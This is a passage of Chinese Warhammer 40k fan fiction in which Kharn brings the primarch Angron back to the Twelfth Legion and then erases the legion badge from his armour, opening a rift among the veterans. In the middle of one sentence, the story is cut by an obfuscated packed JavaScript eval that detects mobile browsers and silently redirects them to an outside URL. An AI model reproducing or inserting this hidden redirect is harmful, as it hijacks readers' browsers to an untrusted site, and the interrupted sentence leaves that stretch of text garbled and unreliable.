于是卡恩谎称他们在清缴路上遇到的异形,才迟迟难以归队。 事实上卡恩在找安格隆的过程中,也找了许多清缴异形的战斗任务。这种战斗有许多好处,能促使来自银河各地的重锻号舰队重新熟悉彼此,顺便让阿斯塔特发泄找不到原体的苦闷。 第二个大问题正是在战斗中发现的,就是他们一万多人的语言交流问题。 直到卡恩见到了形形色色的远征舰队,他才意识到他们十二军团的征兵点比基尔定下的规矩还多。帝国征兵处好像撒豆子似的,来到一个新星系就撒一片安格隆的基因种子,然后带领新长出来的战犬征服下个星系。 好处是战犬们不会因为来自同一母星就抱团,自发认为只有十二军团才是自己的家。 但坏处也很明显,这一万多人的语言根本不能统一! 帝国官方有两种语言,一是通常用作技术记录、贵族装腔作势必备的高哥特语,类似地球的拉丁语。二是高哥特语的杂化版本,普罗大众更为通用的低哥特语。 可这通用仅限于太阳系内,出了太阳系,什么语言都会飙出来。在重锻号初次开千人大会时,大家都被对方的乡巴佬语言深深震撼到了,只能用不熟练的低哥特语加上手语磕磕绊绊地交流。 基尔尝试举行十二军团大扫盲,可惜失败了。除了少部分来自泰拉的阿斯塔特,大家都对泰拉的官方语言兴致缺缺。泰拉只是想去朝圣的风景,不是家园。而且低哥特语让他们联想起那些瞧不起战犬的监军。 好在语言问题最后被一场场战斗解决了。阿斯塔特的大脑学习速度是常人的数倍,会自发地适应新环境,因此语言迭代得也很快。在经过无数次实战交流后,这一万多位阿斯塔特竟然自发地汇编出一种全新的语言。 它在日常方面的描述略显匮乏,对战斗的形容尤其丰富详实,是专门适应十二军团而诞生的语言。 九连长德雷格为它取了新名字——纳加卡利语(nagrakali)。 这个名字源自于两个高哥特语的词根,anagrammatizein和alias,意思是“在另一个时间点,将单词倒置重新组合成新单词的语言”。这个朴素直白的名字赢得了众多认同。重锻号的士兵都争先恐后地为纳加卡利语增添自己的母语词根,仿佛为十二军团献上自己的血肉。 共同创造的新语言,以及共同经历的原体考验,就像锁链一样,将这一万多人的心紧密相连。从未与如此多亲缘兄弟相聚的阿斯塔特们,都感到无比新奇与分外珍惜。 卡利博斯偶尔会看着重锻号的战士们发愣,然后喃喃道:“是啊,血浓于水,不可割舍……” 第三个大问题也是最让卡恩头疼的问题,那就是一万多人的编制问题。 众所周知,战犬在银河各地到处出生,连基尔都不知道全军团有多少人。 所以十二军团并没有严格的营连制度。不同地方的远征舰队看见战犬数量多了,就粗.暴地编在一起称为十二军团远征舰队,档案上只会填写“十二军团+军衔”,详细的连队编制通通空白。 但他们回归军团后就不能这么随便了。出于方便管理的原因,基尔更希望把这些新加入的阿斯塔特分给有连长的两个连队——卡恩领导的八连以及德雷格领导的九连。 八连肉眼可见的是阿斯塔特的志愿热门。卡恩是唯一一个原体侍从武官,还是第一个通过原体见面考验的,连基尔都做不到。何况卡恩本人在战场内勇猛无畏,在战场外却谦逊冷静,强烈的反差感赢得了众多战犬的“芳心”。哪怕卡恩不能算是最顶尖的战士、谋士或指挥官,他们都迫不及待地和卡恩一同作战。 所以现在第八连有整整一万人。 卡恩已经升职成万人大连的连长了! 顺带一提,德雷格的九连本来就是当初八连人太多分家出来的,两个连的战士本就知根知底。 德雷格本人也对卡恩非常敬佩,他分担了一些卡恩的工作,却怎么也不肯接受更多新人了。他认为卡恩理应拥有“万人大连连长”的殊荣。 于是卡恩每次带领八连清缴完战场,都会迎来痛苦无比的处理军务环节。难怪基尔在战场上狂放野蛮,脱下动力甲立刻变身纪律狂人,因为战犬真的太能闯祸了!一些人简直把军规禁令当每日任务一样顺手完成! 不是基尔忘本,是任何人坐上基尔的位置都会成为基尔。卡恩真想把那些违纪的混蛋挂在重锻号外面自然风干。 基尔这个前军团长表示很愿意帮忙揍那些违纪的小子,却很少帮忙处理军务。理由是他是不光彩的战士,不能接触这么高级的东西,卡恩作为原体看重的战士,干脆能者多劳罢。卡恩很怀疑这些话的真实性。 有时候,卡恩也想抱着卡格斯一起跳楼。 说起卡格斯,他倒是分外乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160755|180617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧地帮卡恩忙前忙后,偶尔扮演贴心药剂师缓和战友间的矛盾。每次战后还用恶心的语调说“卡恩脸上可不能留疤了”,然后大剂量地给卡恩上药。耶利哥等人直呼卡格斯性格大变,疑似中邪。 其实卡恩知道卡格斯为何如此异常。 因为在诺威高地那颗星球,就是卡格斯热心地给安格隆指路,好让安格隆先于卡恩跑掉。卡格斯以为他看不出来吗? 但卡恩并不怪他,原体对阿斯塔特的吸引是难以阻挡的。卡格斯本来就是个傻蛋,做傻事是他的本分,被安格隆三言两语魅得找不着北更是正常中的正常。 可卡恩不会直白地原谅卡格斯,他还想多折磨对方一会儿。 于是会议过后,卡恩郑重其事地拜托卡格斯留守重锻号,禁止参与搜寻任务。卡格斯张大嘴巴,瞬间浮现出“天塌了”的神情。他想大声质问却因为心虚又不得不支支吾吾。卡恩假装听不懂潜台词,转头乘坐空降舱降落这颗蛮荒星球。 这颗类地行星的表面大部分被植物覆盖。数百只小队拿着探测器从赤道开始搜查。卡恩没有看波形分析仪,全凭直觉走。他所带领的小队沉默不语,但都义无反顾地追随卡恩的脚步。 当他们跨过某个灌木时,身上携带的波形分析仪突然尖叫起来。 “这里的森林阻碍了信号的传播,所以光看波形分析仪来走是找不准的。”小队里的技术军士捣鼓了一会儿说道,“但现在这个迹象无疑表明……我们离原体很近了!” 大家雀跃地相互对视,看向卡恩的目光更增添了许多佩服。不愧是八连长,总是能第一个完成原体的挑战。 卡恩戴着头盔,别人看不出他的神情,只见他朝大家微微点头。 众人更加兴奋,顺着仪器的提示与技术军士的分析前进。很快他们来到一个漆黑的山洞口。 “辛苦了,让我一个人进去吧。”卡恩说道。他脱下头盔,露出俊朗高贵的面容。 哪怕其他人非常想面见原体,但他们都听从卡恩的指挥,严守纪律,朝卡恩敬礼后便如雕塑般矗立在山洞外。 卡恩将头盔放在地上,拿起自己的链锯斧便行入幽黑潮湿的山洞。 往山洞里走,才发觉内部比预想中深邃得多。最深处的岩峰间隙,先是传来小溪汩汩的流动声;行至某处陡坡,水流忽然撞上参差的岩石,瞬间化作炸裂的水花在洞壁间反复冲撞。而头顶与身侧的钟乳石上,凝结的水珠正顺着乳白的石棱缓缓下坠。清脆的叮咚声让人置身自然,忘记烦恼。 ——安格隆想要的是这样的生活吗? 卡恩此刻脸上彻底褪去了对战友们展露的温情,只余一张体面的表皮,遮掩住心中不曾遗忘的伤痛之火。 他继续前进,空气里的潮意褪去,岩壁两侧开始显露出人为打磨的痕迹,脚下的碎石路变得平整。 一个被抛光过的颅骨出现在前方拐角处。顺着颅骨漆黑的眼洞向左边望去,一只巨大的巨兽遗骸挂在岩壁上当展示品。卡恩能从整墙的颅骨战利品中窥得安格隆最近的安逸生活,和自己在重锻号上的焦头烂额的日子真是冰火两重天。 他听到了原体粗重的呼吸声,也知晓原体察觉到他的存在。但原体没有离去,只是静静地站在原地。 卡恩的心跳一瞬间乱了,他冲动地想向安格隆汇报这半年的军务,告诉安格隆十二军团依旧勇猛无畏,在战场上收割了无数敌人的头颅。这样的十二军团难道不值得安格隆一声夸奖吗? 卡恩,现在原体有着被新军务淹没的风险,你只需要自控,就能拯救原体于水火。 如果你一直被基因的锁链牵着鼻子走,你永远赢不了原体。 卡恩暗暗忍耐,直到他站在安格隆面前,挡住了从缝隙投入的一柱微光。 这个洞穴瞬间黯淡了不少。安格隆转身看他。此刻的原体俨然一副大号野人模样,一身棕红的兽皮成了他最基础的蔽体衣物,但这无损原体的威严面相。多日未见,卡恩依旧为他的原体心跳如擂鼓。 “果然是你找到我。”安格隆并不惊讶,转而看向旁边的颅骨王座,自顾自地说起最近的生活,“我帮这里的原始部落驱逐巨兽,他们为我献上颅骨王座,这样的生活还不错。” 安格隆叙述里的平静激怒了卡恩。在他看见角落边已经落灰的动力拳套后,怒火更加陡然升级。 卡恩肚子里有千言百语,最终化为一声最复杂的质问:“为什么。” 问出这句话后,他感觉自己的两颗心脏都泛起尖锐的灼痛。 卡格斯转述原体的话,让重锻号上的阿斯塔特都愿意为同一个目标团结协作。但卡恩知道那不是真的,或者不是全部真话。 安格隆并没有什么共同作战的兄弟姐妹,原体为之苦苦牵挂的甚至愿意忤逆帝皇的,仅有一个同样名为“卡恩”的儿子! 卡恩听见自己的牙关处传来骨骼错位的咯响,身体的每处关节都因过度紧张而泛起丝丝疼痛。但卡恩并不在乎,这个略微疼痛的状态很好,足以让他清醒地展开接下来的战斗。 面对卡恩的质问,安格隆准备了一百个回答。他想说他走访不同的星球,已经了解了这个狗屎宇宙与人类的狗屎未来,他对成为这里的征服者不感兴趣。他想说他没找帝皇算账已经是脾气很好的表现了,他只想回地球找儿子要他说多少遍。他还想说他是原体他想干什么就干什么,十二军团不是立誓听从指令吗,那就别管他。 可满腹草稿通通被卡恩的下一句质问打成一团麻线。安格隆如被惊雷打空了脑袋,灵魂差点落荒而逃。他没有办法忍受这个—— ——逆光而站的卡恩拿着链锯斧,用一张年轻还尚显稚嫩的脸面对他,用一双仿佛烧红烙铁般的蓝眼睛看向他,用他最熟悉且满心愧疚的声音质问他: “为什么,父亲。” 12.任何代价 安格隆撇过脸,感受着心口传来的撕裂般的疼痛,怒喝道:“不要叫我父亲,士兵。” “父亲。”卡恩向前一步,不卑不亢,“生活在山洞里就是您想要的生活吗?” 安格隆狠狠瞪着他,胸膛大幅度起伏,似猛兽发怒的前兆。但他没办法真的发火,那可是活生生的卡恩!可恶的小狗崽,他以后一定要找机会狠狠修理对方一顿。 在卡恩的注视中,安格隆狼狈不堪地转移话题:“……我去过很多星球,帝国的统治就是一坨狗屎。银河没有因为你们的大远征而变得更好,你们只是在用战争让那些反对帝国统治的人闭嘴。可你们却不敢承认这是侵略,还把自己恭维成大远征的解放者。你们解放了什么?” “既然如此。”卡恩沉默了一会儿,仿佛在思索,“我们会改变的。在您不在的半年里,我带领着八连士兵对3个异形家园实施了种族灭绝,将5个有叛乱迹象的巢都世界重新清洗。我们也可以成为解放者。只要您愿意回来带领我们,父亲。” 安格隆脸上浮现出一抹绝望。 而卡恩平静地看着他。 “好吧卡恩,我们都别惺惺作态了……”安格隆真想一头撞向石墙,面对卡恩比面对钉子的嗡鸣还困难,“我不关心这个宇宙的人类命运,也不关心你们是在做高贵之事还是卑贱之人。我不想要你们。卡格斯难道没有和你说过吗?” 听到卡格斯的名字,卡恩情不自禁地握紧斧柄。 他第一次面见原体时满怀敬意,所以空手前来。 第二次面见原体却带上了链锯斧,因为他已决意与原体展开不可避免的战斗。他将接受自己鲜血淋漓躺在地上的命运,但他绝不会松开自己的武器。他感觉自己的心口冷得像块冰,骨与肉却在沸腾。 卡恩:“你找错人了,卡格斯的转述让军团里的其他人对你更加崇拜。现在有一万多位阿斯塔特在将这个星球翻个底朝天,只为找到你。他们觉得你抛下军团是对他们的挑战,而战犬最愿意接受挑战。” “那你去和他们解释清楚?”安格隆仍在试图商量。 卡恩却摇摇头。 “他们要你。”他说道。 “那我去和他们说清楚!”安格隆烦躁无比,低吼道,“我的耐心是有限的,卡恩,最好带着你的军团滚!” 卡恩似乎对安格隆的愤怒麻木了。他说道:“原体大人,您的军团是一群骄傲而忠诚的战士。他们和我一样,愿意接受您的全面怒火。如果您要在这里待一年,我们就在这里等候一年;如果您要在这里待十年,我们就在这里等候十年。我们会一直坚韧不拔地等待,每天在您面前汇报军务,直到您愿意接纳我们为止。您或许可以去坚毅决心号的荣誉大厅看看,那里关灯了和这的山洞没区别——” 卡恩好像放弃某种束缚,心里话一滑就从嘴巴里蹦出来。他注意到最后的玩笑话不太尊重,紧急抿紧嘴巴,微微有些歉意。 安格隆忍无可忍地看向他:“难道我是帝国必须严加看管起来的奴隶吗?” 卡恩听出安格隆语气中的一点伤心,他的防线几乎要在顷刻间全面崩溃——幸好他撑住了——他滚动喉结,说道:“没有人是奴隶。” 安格隆吼道:“如果我不是,那你们就是。你们表现得好像帝皇说什么都会乖乖咬人的一群狗。” 卡恩:“没有人是奴隶。” 安格隆的愤怒溢于言表:“你们就这样成为我名义上的奴隶,然后以主人的姿态命令我!” 卡恩:“我们只想您回来。” 他说完这句话后紧绷肌肉,随时应对着原体的怒火,他拿武器进来就是为了这个。 可安格隆只是怒火冲天地砸烂了旁边的石板,颅骨碎屑掉了一地。卡恩宁愿他砸在自己身上,就像他第一次来到重锻号上那样。 安格隆在山洞内来回踱步,沉重的脚步声好像能碾碎一切敌人。卡恩悲哀又麻木地等待着,心思飘到山洞外等待的战友们。这里离洞口很远,他们感知不到这里的战斗。希望当他们看见一个血肉模糊的八连长时,不要太惊讶,也不要太伤心。 下一秒卡恩的注意力被安格隆拉回来了。出乎预料的是,安格隆没有继续发火,只是站在不远处,像在呓语:“你明明应该最清楚,卡恩……帝皇在我的家人最需要我的时候把我带走了。我回不去了,卡恩。我恨所有人。” 卡恩的心像海绵一样吸收着不知何处而来的痛苦,他说道:“您大可以反抗帝皇。” 安格隆惊讶地挑眉:“你嘴里竟然会蹦出这种话,你不是喊‘为了帝皇’喊得最欢吗?” 卡恩继续道:“在您被帝皇强硬带走的时候,您大可以大闹帝皇幻梦号。” 安格隆:“你以为我没有这样做?我应该是在那里杀人了,然后帝皇恐惧地把我传送到你们船上,他分明如此强大,却懦弱地用你们这些小纸人来保护!” 卡恩语速越说越急:“您要是有不满大可以用敌人发泄,用无数场战斗彰显您的武力与英勇,让所有人都知道您不可冒犯。让帝皇知道他当初不该这样对待您。您当然是自由的,您有无数个选择!可你不该拿那些敬仰你的子嗣出气!拿我的兄弟们出气!!” 安格隆张开双臂:“呵,卡恩,你现在才开始生气吗?” 卡恩面不改色,轻声道:“您这样做,另一个卡恩会怎么想,他会高兴见到您这样做吗?” 安格隆陡然露出被刺痛的神情。他看着卡恩,双眼里带这一些不可思议,像是不明白这个卡恩怎么敢提起另一个卡恩的名头。 卡恩知道安格隆会沉默,一切正如他所想。在语言的攻防战中,他已经抓住安格隆的软弱处,犹如在战场上捕捉到敌人的弱点。 捕捉到弱点后就要不惜一切代价攻击,攻击才是最好的战斗,第二局他不会输。 基尔、卡格斯等人重伤的身影在卡恩大脑里燃烧,他从来没有忘记!这半年来,战友们无私 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卡恩还注意到原体头上的奇怪机械造物。它宛若钢缆,深深插入原体的头颅皮肤中。它并不像个医疗工具,反而像个刑具——凭什么原体还得忍受这个——它总时不时嗡鸣,每一次嗡鸣安格隆的怒气便增加一分。可卡恩感知到的不仅有怒火,更有满溢灵魂、摧毁一切的疼痛。疼痛在这漆黑山洞的空气里回响,烙印进卡恩冰冷的心口,沿着脊椎蔓延至四肢百骸,仿佛要撕裂卡恩的灵魂。 痛苦最终撕开了卡恩的伪装,他忍不住低声下气地吐露真心话:“回来吧,安格隆,回到我们身边吧,父亲。用你喜欢的方式对待我们,我们什么都会做的。” 安格隆:…… 安格隆闻言都快要气笑了。天杀的,他才反思没过一秒卡恩就让步了。到底谁派卡恩来劝他的?十二军团知道卡恩这么贷款宽容吗?他都搞不明白这个卡恩对他的执着从何而来。 可是他无比酸楚又心痛地想到,他的卡恩就是这种性格。好儿子坏儿子都是卡恩。 安格隆别过脸去,想甩掉两个卡恩不断重合的身影。他顺势看见放在石头上的动力拳,一个怪异的念头浮上心头。他转头问道:“你是怎么找到我的?” 卡恩欲言又止,说道:“我在您的动力甲上安装了信号发生器。” 他深知这是对原体的极大不敬,并等待着安格隆的暴怒。唯有斥责、愤怒、鲜血才能让他们的对话更像一场战斗。他试图让他们的交锋回归正轨。 可是安格隆没有,只是不太高兴地撇撇嘴,看起来已经被卡恩的手段折磨得没脾气。 卡恩立刻被迟到且汹涌的愧疚感淹没了。他到底干了什么事!他究竟对安格隆说了什么!他的计划再一次失败了,与原体的第二局战斗再一次输了。 可现在除了认输没有办法。卡恩绝望地放弃所有伪装:“安格隆,我恳请您,回到十二军团吧。我们愿意付出任何代价……” 山洞里,安格隆走到卡恩的身前,巨人的身躯令卡恩不得不扬起头看对方。卡恩感觉自己面对着一尊神像。安格隆微微低头,金瞳似火光灼灼,如猎人的矛头,更像一个惊人的黄金陷阱。 他似笑非笑地反问:“任何代价?” 13.隐蔽的分裂 安格隆和卡恩在众人憧憬的目光中走出山洞。 还在蛮荒星球上到处搜寻的阿斯塔特收到消息后立刻疯了似的往回跑。前军团长,现一连长基尔也在搜寻的队伍中。他听到消息后苦笑了一下,对身边的老伙计说道:“我们还是来迟一步……怎么什么好事都让卡恩撞上了?” 与他并肩作战的是一连冠军昆纳,曾以凶猛的双手斧技艺闻名军团。半年前,他在面见原体时被原体无情击倒,养了半个月的伤才能下地行走。 基尔和他都怀着一种隐秘的希望,盼望先找到原体,与原体解开误会。 他们不是想对原体不敬之人,而是原体的最忠诚的追随者与辅佐者。十二军团比别的军团都要晚找到原体,而他们作为军团中的“前辈”,更是在黑暗中等待许久。他们和众多兄弟一样,都有许多对原体的思念来不及倾诉。 “现在重锻号上大半人都听卡恩的。”昆纳猛拍基尔肩膀,“我们是时候休息了,连长大人。” “想休息你自己选个无畏跳进去。”基尔促狭一笑。脱离了军团长的身份,他不过是个超级能打的阿斯塔特罢了。 “然后等你看公文,看到不耐烦再叫醒我。”昆纳抬手做出开炮的动作,“我直接一炮帮你处理了它们。你是一连连长,我是一连冠军,进了无畏还是那么默契。” 两人相视大笑。 安格隆和卡恩已经坐上返程舱。 收到相关信号后,留守在战舰上的战斗兄弟迫不及待地簇拥到登录舱大厅,想一睹原体真容。 卡格斯拿了一个耶利哥改装的小礼炮,挤到队伍前方,准备让原体来个毕生难忘的欢迎仪式。他和前面的阿斯塔特相互推搡,时不时挤出几句谩骂。 忽然卡格斯想起了什么,收起小礼炮,灰溜溜地挤回队伍后面。别人好奇地问他怎么了,他摆摆手,说道:“没什么,只是忽然想起原体揍人可疼了。万一他一来就发怒,打到我怎么办?” 其余阿斯塔特听了,纷纷笑卡格斯是个孬种,但身体很诚实地排好队,生怕挨揍。 返程舱接入重锻号,金属摩擦的尖啸在登陆舱大厅里回荡,淡蓝色的能量护盾像融化的冰块般褪去,厚重的大门沿着轨道缓缓向两侧滑开,安格隆和卡恩出现在众战士面前。众人屏气凝神,挺直了脊背,眼里的光越来越亮。 一开始看见原体有些陌生,尤其他头上的钢缆发辫让人有些不安,但很快安格隆的模样与心中多年来的幻梦逐渐重叠,情感的缺口瞬间被异样的情绪填满。不会错的!那定是他们朝思暮想的原体!他们的基因之父、血缘之祖! 当安格隆和卡恩巡视过长长的列队后,阿斯塔特们积压的情绪终于冲破堤坝,再冷脸的战犬此刻也满怀笑意。 “原体回来了!” 不知是谁率先喊出这句话,紧接着便是排山倒海的欢呼,震耳欲聋的声音撞在舱壁上反弹回来。有人跺脚,有人举臂高喊,有人用动力斧把地板砸得叮当响。卡格斯趁乱拿出小礼炮,往空中一放,巨大的轰鸣声与满天的小彩条在半空炸开,连地板都颤动了三下。众人的欢呼声更上一层楼。 “不愧是耶利哥改装的,威力真大。”卡格斯咂舌。 “不是哥们,你真用啊?”耶利哥双手和六只机械臂捂住脑袋,“被抓了别把我供出去!卡恩肯定很生气!” 卡格斯踮脚往远处张望,安格隆和卡恩已经快要消失在走廊尽头了,没有因为爆炸声而回头。 飘扬的彩带顺着通风气流吹到他们两人身边。安格隆抬起手,随意抓住一张彩带,又松手让其自然飘落,侧脸神情是从未见过的松弛与柔和。 “反正原体不生气就行。”卡格斯喃喃道,“但是卡恩……卡恩可说不定。” 卡恩从头到尾都没有看过他们一眼。 …… 卡恩作为八连长,有自己专属的连长宿舍。他穿了一件背心,一条松弛的灰色裤子,正坐在床边记录连队日志。 一段电子认证声响起,宿舍门打开,四个机仆将他的动力甲抬进来,并把卡恩要求的东西一起送过来了。卡恩清点了东西的数量,挥挥手让机仆出去。 宿舍门快要关闭之时,卡格斯像泥鳅一样钻进来,十分自然地坐在卡恩的床上。 “哇哦,我们的八连长要装修他的动力甲。”卡格斯看见机仆送过来的都是些喷涂工具,顺手拿起来说道,“为什么不让耶利哥帮忙?技术军士们可都擅长画图。或者让马歇尔来,他可崇拜你了。” “关你屁事。”卡恩无情地夺过喷涂工具,摇晃两下,开始给动力甲上新漆。卡格斯百无聊赖地盘起腿,撑着脸旁观。 战犬的动力甲以白色为主体色,两个肩铠为靛蓝色。右肩上有一个骷髅头的花纹,彰显其指挥官的身份。左肩则是一只张牙舞爪的红色猎犬,那是军团的徽章,旁边还有一个雷霆的标志,作为铭记泰拉之战的荣誉。原本作为军团指挥官,卡恩的头盔上还得带一个纵置羽冠,但卡恩也经常作为冲锋战士出现在最前线,他不就带羽冠扰乱大家的注意力了。 卡恩先把破损的地方修补好,便停下来端详整个动力甲。 然后他抬手将左肩的红色猎犬标志抹去一半。 “你在干什么?”卡格斯吓了一跳。 “我……”卡恩放下手,陷入沉思。卡格斯关切地看着他。然而卡恩只是摇摇头,道:“我没事。” 他重新举起工具,将左肩的红色猎犬完全抹去,现在上面就剩下一个雷霆标志了。卡恩再度停下动作,盯着那个雷霆标志。 卡格斯急得团团转:“你怎么把军团标志抹去了?你要去哪?你想干什么?”他没有问出口的是,难道是原体让他这么干的吗? “卡格斯。”卡恩转头看向他的好友,“如果你要在父亲和帝皇之间选择,你会怎么选?” “这是什么鬼问题啊!”卡格斯惊恐道。 “我最开始的反应和你差不多。”卡恩被卡格斯的表情逗乐了,“我……其实我现在也不知道。”他盯着动力甲左肩上最后的雷霆标志。 “但没有那么难,现在并没有到最不可商量的时候,只是向原体的一种表态。他需要一个完全属于他的十二军团士兵,所以我要给他整个军团。总有人得这么做,而那个人最好是我。”卡恩自言自语,像是说服自己。 卡格斯还在消化卡恩话语里隐藏的信息量,就见卡恩突然抬手,把最后的雷霆印记也完全抹去。现在动力甲的左肩只剩一片纯净的蓝色。 这和原体回归后主动更换新的军团标志不同。现在原体没有任何改名改制的动静,私自将军团标志抹去属于违纪行为。 当然这并不是什么要命的大事。 这只是一种表态,一种对原体绝对忠诚的宣誓。 “卡格斯,真奇怪啊,我知道接下来会有人抱怨,抱怨为什么要剥夺帝皇赐给他们的荣耀……”卡恩盯着动力甲说道,“我能理解他们,作为帝皇的天使,想把来自泰拉的荣耀带进坟墓里也是人之常情。但是……一想到有人胆敢因此对安格隆心生不满,我就恨不得把他们全部驱逐出军团。 “安格隆想要的只是一个完全忠诚的军团,这只需要我们付出一点点代价而已,为什么连这个都不给他?” 卡格斯悚然地看着他,半天说不出一句话。 卡恩恢复往常的模样,扫了他一眼,道:“我早就说了关你屁事,现在给我滚出去。” “不不不,卡恩。”卡格斯紧张地抓住卡恩的手臂,“我愿意!卡恩,我愿意!” 卡恩皱紧眉头:“你没有必要这样做。” “卡恩,别老是在安格隆面前当英雄了,我们都是他的子嗣,本就应该对他宣誓。我不像你一样来自泰拉,我就是个银河乡巴佬,没那么多负担。”卡格斯按住卡恩的双肩,“你是八连连长,我是八连冠军,你不需要一个人面对。” 卡恩愣愣地看着他,轻轻回握住他兄弟的手,露出一个勉强的笑容:“好吧,我们两个人出去吓别人一跳。” “不会只有我们两人。”卡格斯认真道,“你相信我。这里是重锻号,不是坚毅决心号。这里绝大多数人,都是你的八连。” “——是安格隆的八连。” …… 基尔在走廊上抓着耶利哥不放。耶利哥抱怨基尔别把他最珍贵的机械爪弄坏了,基尔说再有下次就把耶利哥的机械小玩意全拆了,耶利哥敢怒不敢言,心里把卡格斯骂了个狗血淋头。 他也想过逃走,但几位地位超然的一连军官都在这里:安齐兹、凡契、海厄辛,还有一连冠军昆纳。身经百战的二连军官也在附近闲聊,药剂师卡利博斯和辛纳根进行久违地叙旧。他们曾经的战友大多已经沉眠,只剩他们几个 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那一刻他心中燃起了真正的怒火。他从不仗着自己有经验对卡恩的指挥置喙,尽管卡恩在他眼里只是一只太过稚嫩的幼犬。但幼犬都需要空间成长,他相信卡恩的潜力,正如很久以前其他人对自己的信任一样。所以他放手让卡恩收服人心,偶尔还扮黑脸,让卡恩的万人大连更具有凝聚力。 但这不是卡恩可以忘本的理由。卡恩怎么敢涂掉那个荣誉的标志?卡恩也来自泰拉,他明明知道那是什么意思!尽管他没有参与他们曾经那些凶险的战场,但这标志是一种传承,让后来无数新生士兵都记得战犬的来源,是战犬与帝皇相互立誓的忠诚象征。 基尔几乎勃然大怒。可更多穿着动力甲的阿斯塔特跟随在卡恩身后,连九连连长德雷格也在队伍中间。沉重的脚步声不整齐,可充满压迫感。他们的动力甲左肩统一是毫无装饰的蓝色。基尔难以置信自己看到的一切。 卡恩离基尔越来越近,他们的目光在空中相接。基尔丝毫不掩饰自己脸上的恼怒与质问,而卡恩的蓝色眼眸没有半分波澜,只有近乎残酷的平静在其中流淌。 卡恩的队伍如同河流一样与这些老战犬擦肩而过,没有人如往常般停下来打招呼。昆纳骂了一句脏话,凡契脸上困惑不已,卡利博斯只是抱臂沉默、侧身礼让。 在队伍的最前端,卡恩已经遇见了他未来将忠诚一生的对象。安格隆不知什么时候出现在会议室门口,换上了机械神教为他准备的动力甲。他的身形比初见时更为高大威严,无人可挡。 可他看向卡恩,却露出了基尔见过的最为欣喜的笑容,基尔相信一定有许多阿斯塔特陷入对卡恩的无限嫉妒中。 安格隆轻轻地拍了拍卡恩的肩膀,不像军团之主嘉奖他的士兵,而像一位父亲赞扬他的儿子。十二军团只在别的军团帮忙时见过其他原体对属下的关切,哪里亲自接受过这样的温情?更别提他们所有人都听见安格隆这样说: “做得不错,我的儿子。” 刹那间,一连二连的战犬和卡恩的队伍仿佛变成了泾渭分明的两股势力。但因为巨大的人数差距,老战犬们更像是重锻号上仅剩的异端。基尔像被骤雨打湿的篝火,脸上只剩下蒙着雾的茫然。 安格隆扫了一圈卡恩身后的队伍。众人以为他会说点什么,但他没有。众人立刻安慰自己,这已经比安格隆刚来时好多了。不过卡恩身上到底有什么魔力值得原体如此偏爱? 其实安格隆也觉得奇怪。 跟在卡恩后面的星际战士是在干什么? 他明明只让卡恩对他宣誓完全忠诚。这个卡恩和他的卡恩实在太像,像得他没办法扔下不管。他也许不是一位出色的父亲,至少他自认是个合格的父亲,可以在最大限度里让卡恩在这个混蛋宇宙中过得好一些。比如第一步先学会对当权者祛魅。 但这群便宜养子不再信帝皇也是好事,老是叨叨“为了帝皇”听得他头都痛了,他们需要精神断奶! 这样想着,安格隆不再理会船上的异样,让卡恩与几位军官一同进入会议室,着手准备前往坚毅决心号的相关事宜。 忽然他看到了远处的基尔,一些尴尬的回忆浮上心头。他从来不为战斗的事道歉,但是平心而论,他当初把基尔揍成那样也是对方的无妄之灾……那几个被他揍过的倒霉蛋也都在,他们该不会在聚众说他坏话吧?安格隆更不想理他们了。 可是他要在卡恩面前做一个好父亲。于是安格隆的声音穿过长廊:“一连长,你也过来。” 14.亚空间 会议室内拆除了桌椅以及吊顶,好给原体腾出舒适的空间。安格隆没有坐下的打算,当即询问卡恩:“给我讲讲你们剩下这些人的事。” “是,父亲。”卡恩上前一步,“十二军团目前的大部队都已部署在荣光女王级战列舰‘坚毅决心号’舰队内,约有四万人,还有一部分远征舰队因为路途原因,只能赶往博特等待汇合。” 安格隆:“博特?” 卡恩:“博特星是我们最常用的征兵训练母星,来自银河各地的新兵会在上面接受严格的考验,最后由新兵导师决定谁来成为荣耀的阿斯塔特。” “所以我们下一步是前往这个坚毅决心号,然后向博特前进。一路上还有许多你遗落的兄弟过来汇合……这多浪费时间?为什么我们不能直接向银河外围走呢?”安格隆不太适应宇宙航行的时间尺度,总觉得不能第二天就到的地点非常远。 “我们会按照星语者的指引返回博特。”基尔忽然开口,“但一路上我们不会毫无作为。泰拉已经收到不少星球再度遭遇异形袭击的可疑情报,以及一些星系对什一税的抗拒。我们将用手中的链锯斧判断情报的真假,并将反抗者斩于足下。这同样是大远征的一部分,我们不会浪费时间……” 他犹疑地停顿一下,才继续道:“……父亲。” 安格隆感到一种非常奇怪的战栗感爬满后背,他没想过会有除了卡恩外的其他儿子。 唉,忍忍吧,安格隆,你没听见吗,你还有四万多个子嗣呢。真不知道谁帮他生那么多。而且喊你“父亲”总比喊“原体大人”好多了,后者听上去像个马上要被革命断头的贵族。 安格隆忍下心中的异样,对基尔道:“一连长,听说战犬之前都是骁勇善战的士兵,希望你的士兵可以证明给我看。” 基尔立刻挺直身板,铿锵有力地回答:“当然!” “八连也不会辜负您的期待。”卡恩突然说道,“我们会是您引以为傲的主力,为您扫除一切障碍。” “可惜新兵太多,八连只剩人多这个优点了。”由于基尔的脸色太过正直,卡恩差点没反应过来对方是在阴阳怪气,“和坚毅决心号汇合后连人多的优点也不存在。如果就这样想妄称原体的主力,我担心别的军团会瞧不起我们。” “一切战场上见真章。”卡恩简短有力地回答。 基尔眼中闪过一丝微不可见的欣赏,随即转为心中的更多痛斥。 安格隆的目光从基尔扫过卡恩,微微有些困惑。但他并不是真心想当一名军团之主,所以他选择对这两人的小矛盾置之不理。 安格隆快速翻阅超级精简版的军团日志,速度堪比量子速读,时不时抛出几个让在场的阿斯塔特都无所适从的问题。比如亚空间是什么东西、帝皇真理又是什么。 士兵们都尽可能周全地回答了,同时更加认定安格隆来自一个落后的世界。为了不让原体感到不适,他们以后做事应该更周全些才行。 